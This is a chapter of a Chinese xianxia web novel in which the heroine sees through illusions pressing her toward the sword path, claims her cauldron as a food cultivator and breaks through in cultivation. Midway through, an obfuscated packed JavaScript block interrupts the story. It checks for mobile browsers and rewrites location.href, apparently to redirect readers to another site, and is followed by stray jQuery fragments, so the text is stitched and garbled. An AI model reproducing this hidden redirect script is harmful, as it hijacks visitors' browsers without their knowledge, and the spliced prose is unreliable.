谢言星一手拎着沉甸甸的食盒,另一手下意识地向后,指尖触到冰冷坚硬的剑鞘。
她站在那座白玉琉璃殿前。
殿内一片漆黑,唯有清冷月色映着白玉琉璃,闪着模糊的光,在一片昏暗中格外诡谲。
谢言星闭了闭眼,提步上前,推开那扇沉重的门。
声音在过分寂静的大殿内回荡,刺耳异常。
屋内的灵石灯并未燃起,仅有隐隐绰绰的月光透过窗户,斜映在白玉般的地面上,勾勒出空旷的轮廓。
一道身影背对着谢言星,默立在最深处的窗下。他整个人隐没在阴影里,清辉越过他的身影,落在他身侧,唯有他手上亮着一点幽冷光泽。
谢言星又向前几步,才看清。
那是剑尊的剑。
长剑映着月光,森寒而冷冽。
剑尊缓缓转回身,面容依旧模糊在暗影里。唯有目光如同实质,落在她手中的食盒上。
“缘何寻我?”
他声音平淡无波,听不出情绪。
谢言星没答话,先放下食盒,揭开盖子,露出一碗飘着热气的汤面。
她没有停手,而是继续解下背上的那柄似乎与她心神相连的本命剑,没有一丝迟疑,稳稳将它横置于食盒旁。
“……我一开始想了很久,天生剑骨、师从剑尊、习顶级剑典,一切合情合理,但我总觉得怪异。”
谢言星声音极度平静,目光却明亮锐利,穿透昏暗,直直望向隐蔽于阴影中的“剑尊”。
“若我当真喜欢练剑,看见了绝世剑谱,不可能不练,你是我师尊,何必多此一举强调什么‘挥剑万次’?”她指尖轻轻点了下自己心口,“起先,我只是朦朦胧胧觉得不对,但仍照办。剑招日复一日地练着,心里却没半分喜意,只有萦绕不去的头疼。”
她话语刚落,整个大殿内一瞬间冷了下来。昏暗处原先静静低伏的阴影向前蔓延而去,蠢蠢欲动。
“幸好,觉得不对,我走下寒天峰。”谢言星恍若未觉,甚至弯了弯眼睛,仿佛面前不是暗藏杀意的幻境虚影,而是一位老友,“是啊,破破烂烂的外门厨房,不趁手的锅铲,哪里比得上通天剑道?可惜,幻梦编纂成这样,也胜不过我闻到灵草化出的香气时,神魂给的答案。”
阴影中的身影一动不动,唯有手中剑上的微光,越来越亮。
相反地,白玉砖则越来越黯淡,污浊的黑色以肉眼可见的速度爬上砖石、覆盖吞没。
谢言星仿佛没有察觉到无声滋长的危险,她甚至向前迈了半步。
“如果你能动手杀我,哪里还用得着编造幻境,想让我沉沦其中?”
谢言星看着剑光,不闪不避,反而眼神明亮:“装模作样,不过只能依托记忆行事。能供你取材的事情固定,现在,至多是一剑下来,万物重置,排除些干扰因素,再度蒙蔽我记忆,重来一遍?”
她说着,有些忍俊不禁地笑了。
“可惜啊,重来千遍,我还是会当食修。”
“而这妄图困住我的幻梦,能重置几次?”
她话语落下,整个大殿内的阴影再不掩饰,瞬间沸腾,疯狂地扭曲、膨胀、缠绕。
“剑尊”的身影在阴影中愈发模糊不定,那柄剑发出凄厉的尖鸣,剑光与阴影一同暴涨,锁定了谢言星。
果然如此。
谢言星闭上眼,静候着剑光劈下的剧痛。
剑光上挑一钩,剖开谢言星清瘦脖颈后方。
鲜血四溢,一枚指节长短的骨头被剑光卷起,亮着锐意的微光。
但剧痛并未如她所想那样到来。
就在那毁灭性剑光及体的瞬间,一股极温和的暖流自她识海深处涌出,轻轻柔柔包裹住她的神魂。
在那一剑落于身上时,谢言星并没有感到痛,痛觉被柔软如棉絮的暖流屏蔽在外。
她只觉得神魂一下子变得很轻很轻,仿佛被轻轻托起,抽离了躯壳。
那暖意温和如一个拥抱。
并没有任何迹象写明出处,但谢言星在那一瞬极其笃定,必然是苏昭辞递给她的那枚血红药丸的功效。
她“看”到自己的身体倒下。
整个幻境自此,如镜面碎裂,寸寸崩塌。铺天盖地的黑气涌动,重新编织。
谢言星再睁眼时,眼前又是一处山道,四周云雾缭绕。
她按着额角,剧烈的头痛如钢针钻凿,恰巧成了她维持神智的锚点。
她抬眼看向眼前那完美的仙山幻境。
云雾与山石间,无数黑气在她眼中清晰可见。
并不像她预料的那样,是上一重幻境的循环,竟是个全新的幻境。
但谢言星此刻对这是幻境心知肚明。
只需要想办法破开幻境就可以。
“你醒了!”一道声音打断她的观察。
谢言星转头,一位面容明艳、身姿飒爽的女修站在她面前,眼中交织着愧疚与决绝。
一柄剑被她塞入谢言星手中。
“拿着。”她声音压得很低,仿佛下了极大的决心,“剑尊竟拿你的根骨炼剑……抱歉,我直至握到了那柄剑才知晓。如今既已为你重塑身躯,这公道,我陪你一同讨回来!”
谢言星垂眸望向那柄剑。
剑身极窄,如一痕被拉长的月光,却泛着熔银般的灼目光泽。剑柄向下,阵纹流淌如赤金,勾勒成展翅的凤凰,羽梢处正对刃口,仿佛下一秒就会跃动出真实的火焰。
是一把很漂亮的剑。
一瞬间,耳边无数声音尖啸着,加剧着谢言星的头痛。
“快!拿剑拿剑拿剑拿剑!”
“你不是天生剑骨吗?你生来就该练剑!”
“天下剑修至尊,你不练剑,何以复仇!难道你认得下被剖剑骨的痛?”
谢言星用力闭眼抵抗噪音,再睁眼时,目光已恢复清明。
她凝视着女修此刻被黑气盘旋着围住的脸庞。
记忆仍蒙了一层纱。明明是不记得的脸,但谢言星知道自己应当是认识她的。
“我暂时……记不起太多。”谢言星按着额角,声音因头痛而微哑,却异常清晰,“但我知道,这里是幻境。你也该醒醒。”
谢言星不再看那柄剑,而是缓缓地、坚定地松开了手。
“我手中不该是剑。”
哐啷一声,长剑坠地,声响清脆,像是敲碎了某种枷锁。
她的目光落在空无一物的身前,语气平静而笃定。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309195|182824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我应当有一个锅鼎。既是我的锅鼎,它该要随我心意变换。我想,应当是个玄黑色的,低调些,最好教旁人见了以为就是个普通法器。等灵火一烧,阵法齐亮,千道流光汇聚,便见真面目。”
随着她一字一句的描述,周遭黑气刹那间涌动,试图阻止。
但不可违逆地,眼前的空地扭曲,灵气汇聚,黑气再不能掩盖。
一尊与她描述分毫不差的玄黑锅鼎,骤然撕裂幻象,降临在她面前。
鼎身古朴,却自有磅礴气息流转。
就像它一直等候在那里一样。
谢言星引动着灵力,注入那尊锅鼎。
久违了,抱歉,现在才想起你。
灵力在锅鼎内流转,锅鼎轻吟一声回应。
鼎身骤然亮起万千符文,如星辰闪烁。
体内幻境中“剑修谢言星”的金丹在谢言星心念之下,褪去魔气蒙蔽,显露出那糖丸般圆滚滚的模样。
圆滚滚的金丹疾速地盘旋着,灵力如浪般运转了一圈、两圈,先前桎梏了她千百次的修为关隘此刻再不存在。
谢言星的神识探向锅鼎,锅鼎似仍在嗔怒她忘却自己太久,仍轻轻震了一下。
但这一回,一震之后,神识与锅鼎水乳交融、合二为一。
无数灵光自谢言星周身亮起,黑气疯狂地涌向她身边,又疯狂地扑向天际,但无济于事。
幻境的天空一点一点裂开,清澈的雷光劈落。
一个手持锅铲的小人自识海中跃出,欢快地在空中一翻,然后没入锅鼎之中。
神识化婴,谓之“元婴”。
漫天雷劫撕裂了幻境,精纯的灵气洒下,谢言星的修为节节攀升,瞬息之间便已到了元婴中期。
都说险境中悟道突破,最利于修为提升,能一跃至元婴中期,已是佼佼者中的佼佼者。
但谢言星灵力的运转仍未停下。
此刻,幻境上方在雷劫中崩解碎裂,魔气负隅顽抗,试图拼凑出一个小幻境,将一旁仍在恢复神智的晏风吟包裹住。
谢言星心念一动,相比先前快千万倍的,锅鼎已随她心意,烹成了一锅金丝面。
如丝如缕的锐利金灵气穿透切割,牢牢护住了晏风吟。
晏风吟终于清醒过来,惯来明艳洒脱的脸上显出难得的惊异与恍惚。
谢言星却暂时尚且顾不得她。
黑气见连晏风吟也留不下,就要收拢溜走。
这一退,谢言星体内被幻境虚构出的格格不入的化神期修为也随之欲剥离而去。
按理说,幻境里欺骗人的东西,退去自然是好。毕竟不是自己亲手取得的修为,不过是海市蜃楼。
但谢言星的灵力仍在生生不息地流转着。
“先前卡着我修为突破,是专职食修,道心有差。”她狡黠一笑,“如今我道心已立,再无阻碍……”
“——预知梦里的修为也是我自己修炼而成的!哪有皆不作数重来的道理!”
灵力流转,在黑气消散的前一刻,越过了幻境与现实的边界,一切水到渠成。
黑发无风自动,红裙迎风飘扬。
雷劫落下,修为落实。
她竟一瞬间自金丹突破了化神!